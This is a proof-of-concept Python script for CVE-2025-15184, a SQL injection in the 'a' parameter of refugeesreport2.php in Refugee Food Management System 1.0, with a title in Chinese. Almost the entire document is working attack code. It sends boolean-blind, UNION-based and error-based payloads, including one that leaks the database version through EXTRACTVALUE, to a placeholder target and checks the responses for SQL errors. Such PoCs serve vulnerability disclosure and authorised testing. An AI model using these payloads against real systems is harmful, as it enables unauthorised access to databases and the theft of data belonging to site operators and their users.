CVE-2025-15184: Refugee Food Management System 1.0 SQL注入漏洞

# CVE-2025-15184 SQL Injection PoC # Target: Refugee Food Management System 1.0 # File: /home/refugeesreport2.php # Parameter: a import requests import sys from urllib.parse import quote TARGET_URL = "http://target.com/home/refugeesreport2.php" # Basic SQL Injection Test - Boolean Based Blind def test_sql_injection(): print("[*] Testing CVE-2025-15184 SQL Injection...") # Normal request normal_payload = {"a": "1"} try: r1 = requests.get(TARGET_URL, params=normal_payload, timeout=10) normal_len = len(r1.content) print(f"[+] Normal request length: {normal_len}") except Exception as e: print(f"[-] Error with normal request: {e}") return # SQL Injection payloads payloads = [ # Boolean-based blind injection "1' AND 1=1 -- ", "1' AND 1=2 -- ", # Union-based injection "1' UNION SELECT NULL--", "1' UNION SELECT NULL,NULL--", # Error-based injection "1' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--", ] for payload in payloads: try: r = requests.get(TARGET_URL, params={"a": payload}, timeout=10) print(f"[*] Payload: {payload[:30]}... | Length: {len(r.content)}") # Check for SQL error indicators if "sql" in r.text.lower() or "error" in r.text.lower() or "mysql" in r.text.lower(): print(f"[!] Potential SQL error detected with payload: {payload}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": test_sql_injection()